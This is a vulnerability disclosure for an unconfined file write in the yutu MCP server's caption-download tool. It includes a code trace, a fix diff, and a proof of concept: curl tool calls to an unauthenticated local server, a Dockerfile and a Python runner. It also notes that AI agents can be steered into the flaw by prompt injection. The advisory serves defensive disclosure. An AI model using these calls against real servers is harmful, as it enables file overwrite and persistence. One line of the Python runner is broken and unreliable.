yutu: Arbitrary File Write via MCP `caption-download` Tool

Arbitrary File Write via MCP caption-download Tool

Summary

The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.

Details

yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:

| Method | Sink | Confined? | |--------|------|-----------| | Caption.Insert() | pkg.Root.Open(c.File) (caption.go:109) | Yes | | Caption.Update() | pkg.Root.Open(c.File) (caption.go:193) | Yes | | Caption.Download() | os.Create(c.File) (caption.go:272) | No |

Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:

1. Source — cmd/caption/download.go:32–41: downloadInSchema declares file as a required string field in the MCP JSON input schema.
2. Binding — cmd/caption/download.go:61–64: cobramcp.GenToolHandler maps MCP input to input.Download(writer).
3. Sink — pkg/caption/caption.go:272: os.Create(c.File) creates or truncates the file at the attacker-supplied path.
4. Write — pkg/caption/caption.go:280: file.Write(body) writes the downloaded caption bytes to that path.

// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
    Required: []string{"ids", "file"},          // line 34
    // ...
    "file": {Type: "string", Description: fileUsage},  // line 40
}

// cobramcp.GenToolHandler binds MCP → handler (line 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
    return input.Download(writer)
})

// pkg/caption/caption.go
body, err := io.ReadAll(res.Body)   // line 267
file, err := os.Create(c.File)      // line 272  ← unconfined sink
// ...
_, err = file.Write(body)           // line 280

The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.

Recommended fix:

--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
-       file, err := os.Create(c.File)
+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
        if err != nil {
                return errors.Join(errDownloadCaption, err)
        }

PoC

Prerequisites:

• yutu 0.0.0-dev / commit 351c99d
• Valid YUTU_CREDENTIAL and YUTU_CACHE_TOKEN available
• yutu MCP server running in HTTP mode

Docker-based reproduction (no live credentials needed):

The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.

# From the report workspace root:
docker build --no-cache -t yutu-vuln001-poc \
    -f vuln-001/Dockerfile \
    reports/mcp_49_eat-pray-ai__yutu

docker run --rm yutu-vuln001-poc

Expected output confirms:

• pkg.Root.Open("/tmp/poc-arbitrary-write.txt") is correctly rejected with path escapes from parent (control).
• caption.Download() with file="/tmp/poc-arbitrary-write.txt" succeeds and creates a 79-byte file outside YUTU_ROOT (exploit).

Live MCP server reproduction:

# Start the HTTP MCP server (no auth by default)
yutu mcp --mode http --port 8216

# Initialise session
curl -sD /tmp/yutu.headers \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
  >/tmp/yutu.init

SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')

# Exploit: write caption to arbitrary path
# Replace CAPTION_ID with a caption id accessible by the configured token
curl -s \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  ${SID:+-H "Mcp-Session-Id: $SID"} \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'

# Verify file was written outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

Impact

This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU_ROOT confinement boundary that all other file-write operations in yutu respect.

Potential consequences include:

• Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.
• Corrupting log files or database files to cause denial of service.
• Writing web-accessible files in deployments where yutu runs alongside a web server.
• Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the file parameter is fully attacker-controlled with no guardrails.

Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.

Reproduction artifacts

Dockerfile

# VULN-001 PoC Dockerfile
# Build con: reports/mcp_49_eat-pray-ai__yutu/
# repo/ - the cloned yutu repository
# vuln-001/ - this workspace (Dockerfile, poc_main.go)

FROM golang:1.26 AS builder
WORKDIR /build

# Copy the yutu source tree (provides the vulnerable packages)
COPY repo/ .

# Inject PoC as a new command package (does not modify existing source)
RUN mkdir -p cmd/poc_exploit
COPY vuln-001/poc_main.go cmd/poc_exploit/main.go

# Build the PoC binary (static, no CGO needed)
RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/

# ── Runtime stage ──────────────────────────────────────────────────────────
FROM debian:12-slim

COPY --from=builder /poc /poc

# YUTU_ROOT defines the pkg.Root confinement boundary.
# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,
# demonstrating the os.Create bypass.
ENV YUTU_ROOT=/tmp/yutu_safe_root

RUN mkdir -p /tmp/yutu_safe_root

CMD ["/poc"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC Runner
Exploit: Arbitrary File Write via MCP caption-download (CWE-73)
Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement

Usage: python3 poc.py
"""
import os
import subprocess
import sys

VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
IMAGE_NAME = "yutu-vuln001-poc"


def run(cmd, check=False, **kwargs):
 print("$ " + " ".join(str(a) for a in cmd))
 result = subprocess.run(cmd, =True, **kwargs)
 return result


def main():
 print("=" * 70)
 print("VULN-001: Arbitrary File Write via MCP caption-download")
 print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")
 print("=" * 70)

 # ── Build ────────────────────────────────────────────────────────────────
 build_cmd = [
 "docker", "build",
 "--no-cache",
 "-t", IMAGE_NAME,
 "-f", DOCKERFILE,
 CONTEXT_DIR,
 ]
 print("\n[Step 1] Building Docker image ...")
 result = run(build_cmd, capture_output=False)
 if result.returncode != 0:
 print("\n[FAIL] Docker build failed.", file=sys.stderr)
 sys.exit(1)

 # ── Run ──────────────────────────────────────────────────────────────────
 run_cmd = ["docker", "run", "--rm", IMAGE_NAME]
 print("\n[Step 2] Running PoC container ...")
 result = run(run_cmd, capture_output=True)

 stdout = result.stdout or ""
 stderr = result.stderr or ""
 print(stdout, end="")
 if stderr:
 print(stderr, end="", file=sys.stderr)

 # ── Verdict ──────────────────────────────────────────────────────────────
 passed = (
 result.returncode == 0
 and "VULNERABILITY CONFIRMED" in stdout
 and "PASS" in stdout
 and "os.Create bypasses pkg.Root" in stdout
 )

 if passed:
 print("\n[RESULT] PASS – vulnerability dynamically reproduced.")
 else:
 print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr)
 sys.exit(1)


if __name__ == "__main__":
 main()